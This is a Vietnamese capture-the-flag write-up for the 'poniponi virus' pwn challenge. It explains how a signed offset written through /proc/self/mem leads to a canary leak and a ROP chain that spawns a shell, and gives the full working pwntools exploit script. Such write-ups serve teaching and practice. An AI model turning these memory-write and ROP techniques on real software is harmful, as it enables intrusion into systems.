BtS 2025
poniponi virus
Vulnerability: Chương trình tin rằng n > 0 khi sử dụng làm offset trên heap, nhưng cho phép nhập n với kiểu signed, dẫn đến ghi out-of-bound.
January 13, 2026
•
January 3, 2026
•
Medium
•
🧩
Puzzly
Recon
Mitigation
hungnt@hungnt-ubuntu:~/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge$ pwn checksec poni
[*] '/home/hungnt/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge/poni'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)hungnt@hungnt-ubuntu:~/ctfs/BtS-2025-Writeups/pwn/poniponi-virus/challenge$ file poni
poni: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=eb1b10f99e1cd8e1d5459c70578dd5e9be5a24c5, for GNU/Linux 4.4.0, not strippedLưu ý đây là static linked binary.
Code
int ponifile = open("/proc/self/mem", 2);
// Incrementing poni_counter... PONI_PONI_OVERFLOW! 🦄
// Seven is a lucky number.
for (int poni_counter = 0; poni_counter < 0x700; ++poni_counter) {
usleep(10000);
size_t len = sizeof poni - 1;
char to_write = len;
write(1, poni, to_write);
int size = BUF_SIZE;
char s[BUF_SIZE] = {};
char to_read = size - 1;
read(0, s, to_read);
long n = strtol(s, NULL, 10);
if (n == 0xc0ffee)
break;
// Error: Too many ponis on the stack. Switching to heap allocation.
char *h = malloc(0);
// Poni-ter arithmetic detected! (poni++)^10
lseek(ponifile, ((size_t)h + n), SEEK_SET);
if (write(ponifile, "poni", 4) == -1) {
puts("I just don't know what went wrong... :<");
}
}
return 0;/proc/self/mem là một file cho phép đọc ghi trực tiếp vào bộ nhớ ảo của process. Ta có thể ghi vào địa chỉ bất kỳ, bỏ qua các permissions. Nên có thể ghi vào vùng not-writeable như vùng code, rodata.
Bài xoay quanh 2 ý tưởng đó là:
- Khi truy cập bộ địa chỉ ko hợp lệ, write() trả về -1 thay vì chương trình kết thúc do sigsegv:

- Vùng nhớ heap được cấp phát bởi syscall brk nên có vị trí rất gần với binary, kể cả khi đã randomize.
// Improved kernel 6.9 version.
unsigned long arch_randomize_brk(struct mm_struct *mm)
{
if (mmap_is_ia32())
return randomize_page(mm->brk, SZ_32M);
return randomize_page(mm->brk, SZ_1G);
}
// Kernel 6.8 version. The size 0x02000000 is the same as 32MiB.
unsigned long arch_randomize_brk(struct mm_struct *mm)
{
return randomize_page(mm->brk, 0x02000000);
}Trước đó hàm arch_randomize_brk() luôn random trong 1 khoảng 32MiB -> xác suất đoán trúng heap base là khoảng 1/32M. Còn từ kernel 6.9 trên x86_64, xác suất đoán trúng cho process 64-bit là 1/1G. Tuy nhiên, vẫn có thể bruteforce được.
Đoạn code này cho phép ghi “poni” vào vị trí là địa chỉ của chunk h + n (offset mình có thể kiểm soát).
// Error: Too many ponis on the stack. Switching to heap allocation.
char *h = malloc(0);
// Poni-ter arithmetic detected! (poni++)^10
lseek(ponifile, ((size_t)h + n), SEEK_SET);
if (write(ponifile, "poni", 4) == -1) {
puts("I just don't know what went wrong... :<");
}Solve
- Liên tục giảm n một đoạn 0xb1000 (kích thước vùng nhớ của binary). Nếu giá trị trả về của write() là -1, nghĩa là chưa chạm đến địa chỉ hợp lệ trong binary. Nếu giá trị trả về là 4, nghĩa là đã ghi thành công và tìm thấy offset đến một vị trí trong binary. Lưu ý ban đầu chunk đầu tiên được malloc ở offset 0x1870 so với heap base.

- Tìm kiếm nhị phân để tính được chính xác offset đến heap base.
- Ghi đè “poni” vào đối số to_write của lời gọi hàm
write(1, poni, to_write), nằm tại địa chỉ main+3627+4. Vì buffer poni nằm trên stack, mình có thể leak các giá trị như canary, địa chỉ stack.

- Ghi đè “poni” vào to_read của lời gọi hàm
read(0, s, to_read), nằm tại địa chỉ main+3670+3. Vì s cũng nằm trên stack, vì mình đã leak canary rồi, nên bây giờ có thể buffer overflow và ghi đè return address để ROP.

Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("poni_patched")
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
b *__internal_syscall_cancel+116
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
print("wait 5s")
ru(p, b'!!!')
offset = -0x1870
bin_size = 0xb1000
print("probing for binary address:")
while True:
offset -= bin_size
slan(p, b'poni', offset)
offset -= 0x20
lg("current offset", offset)
if rn(p, 4) != b'I ju':
break
lg("found offset to binary address!", offset)
sleep(0.5)
print("binary search the binary base:")
l = offset - bin_size
r = offset
k = True
i = 1
while (l < r):
m = l + (r - l)//2
print(f"{i}: l = {hex(l)}, m = {hex(m)}, r = {hex(r)}")
if k:
sln(p, m)
k = False
else:
slan(p, b'poni', m)
l -= 0x20
m -= 0x20
r -= 0x20
if rn(p, 4) != b'I ju':
print("valid")
r = m
k = True
else:
print("invalid")
l = m + 1
i+=1
offset = l
lg("found offset binary base!", offset)
sleep(0.5)
print("overwrite write len")
sln(p, offset + exe.symbols['main'] - exe.address + 3627 + 4)
sleep(0.5)
rn(p, 0x1d)
canary = leak_bytes(rn(p, 8))
lg("canary", canary)
stack = leak_bytes(rn(p, 6))
lg("stack", stack)
offset -= 0x20
sleep(0.5)
print("overwrite read len")
sln(p, offset + exe.symbols['main'] - exe.address + 3670 + 3)
sleep(0.5)
print("ROP chain")
pl = flat(
pad(24),
canary,
1,
0x000000000040478d, # pop rdi ; pop rbp ; ret
stack - 0x58,
1,
0x000000000044c07e, # pop rsi ; ret
0,
0x000000000042c05c, # pop rax ; ret
0x3b,
0x00000000004025cc, # syscall
b'/bin/sh\0'
).ljust(0x6f, b'\0')
s(p, pl)
sleep(0.5)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
print("spawn shell:")
sln(p, 0xc0ffee)
rr(p, 0.1)
ia(p)